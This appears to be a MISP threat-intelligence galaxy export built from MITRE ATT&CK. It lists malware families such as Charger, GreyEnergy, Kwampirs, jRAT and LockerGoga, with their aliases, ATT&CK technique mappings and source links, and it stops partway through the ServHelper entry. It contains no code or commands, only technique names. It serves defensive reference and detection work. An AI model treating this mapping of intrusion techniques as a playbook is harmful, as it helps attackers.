uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
Links |
Charger - S0323
[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals steals contacts and SMS messages from the user’s device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)
The tag is: misp-galaxy:mitre-malware="Charger - S0323"
Charger - S0323 is also known as:
-
Charger
Charger - S0323 has relationships with:
-
similar: misp-galaxy:malpedia="Charger" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
Links |
MURKYTOP - S0233
[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-malware="MURKYTOP - S0233"
MURKYTOP - S0233 is also known as:
-
MURKYTOP
MURKYTOP - S0233 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
Links |
Bandook - S0234
[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).
The tag is: misp-galaxy:mitre-malware="Bandook - S0234"
Bandook - S0234 is also known as:
-
Bandook
Bandook - S0234 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
DealersChoice - S0243
[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)
The tag is: misp-galaxy:mitre-malware="DealersChoice - S0243"
DealersChoice - S0243 is also known as:
-
DealersChoice
DealersChoice - S0243 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
SpyDealer - S0324
[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive data from Android devices. (Citation: PaloAlto-SpyDealer)
The tag is: misp-galaxy:mitre-malware="SpyDealer - S0324"
SpyDealer - S0324 is also known as:
-
SpyDealer
SpyDealer - S0324 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/ |
GreyEnergy - S0342
[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)
The tag is: misp-galaxy:mitre-malware="GreyEnergy - S0342"
GreyEnergy - S0342 is also known as:
-
GreyEnergy
GreyEnergy - S0342 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf |
CrossRAT - S0235
[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.
The tag is: misp-galaxy:mitre-malware="CrossRAT - S0235"
CrossRAT - S0235 is also known as:
-
CrossRAT
CrossRAT - S0235 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
RunningRAT - S0253
[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)
The tag is: misp-galaxy:mitre-malware="RunningRAT - S0253"
RunningRAT - S0253 is also known as:
-
RunningRAT
RunningRAT - S0253 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
Judy - S0325
[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)
The tag is: misp-galaxy:mitre-malware="Judy - S0325"
Judy - S0325 is also known as:
-
Judy
Judy - S0325 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
Links |
TYPEFRAME - S0263
[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)
The tag is: misp-galaxy:mitre-malware="TYPEFRAME - S0263"
TYPEFRAME - S0263 is also known as:
-
TYPEFRAME
TYPEFRAME - S0263 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
Links |
RedDrop - S0326
[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)
The tag is: misp-galaxy:mitre-malware="RedDrop - S0326"
RedDrop - S0326 is also known as:
-
RedDrop
RedDrop - S0326 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
Links |
Kwampirs - S0236
[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)
The tag is: misp-galaxy:mitre-malware="Kwampirs - S0236"
Kwampirs - S0236 is also known as:
-
Kwampirs
Kwampirs - S0236 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
GravityRAT - S0237
[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)
The tag is: misp-galaxy:mitre-malware="GravityRAT - S0237"
GravityRAT - S0237 is also known as:
-
GravityRAT
GravityRAT - S0237 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html |
LockerGoga - S0372
[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)
The tag is: misp-galaxy:mitre-malware="LockerGoga - S0372"
LockerGoga - S0372 is also known as:
-
LockerGoga
LockerGoga - S0372 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"
Socksbot - S0273
[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)
The tag is: misp-galaxy:mitre-malware="Socksbot - S0273"
Socksbot - S0273 is also known as:
-
Socksbot
Socksbot - S0273 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
Links |
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
Skygofree - S0327
[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)
The tag is: misp-galaxy:mitre-malware="Skygofree - S0327"
Skygofree - S0327 is also known as:
-
Skygofree
Skygofree - S0327 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/ |
jRAT - S0283
[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)
The tag is: misp-galaxy:mitre-malware="jRAT - S0283"
jRAT - S0283 is also known as:
-
jRAT
-
JSocket
-
AlienSpy
-
Frutas
-
Sockrat
-
Unrecom
-
jFrutas
-
Adwind
-
jBiFrost
-
Trojan.Maljava
jRAT - S0283 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques |
ServHelper - S0382
[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)
The tag is: misp-galaxy:mitre-malware="ServHelper - S0382"
ServHelper - S0382 is also known as:
-
ServHelper
ServHelper - S0382 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
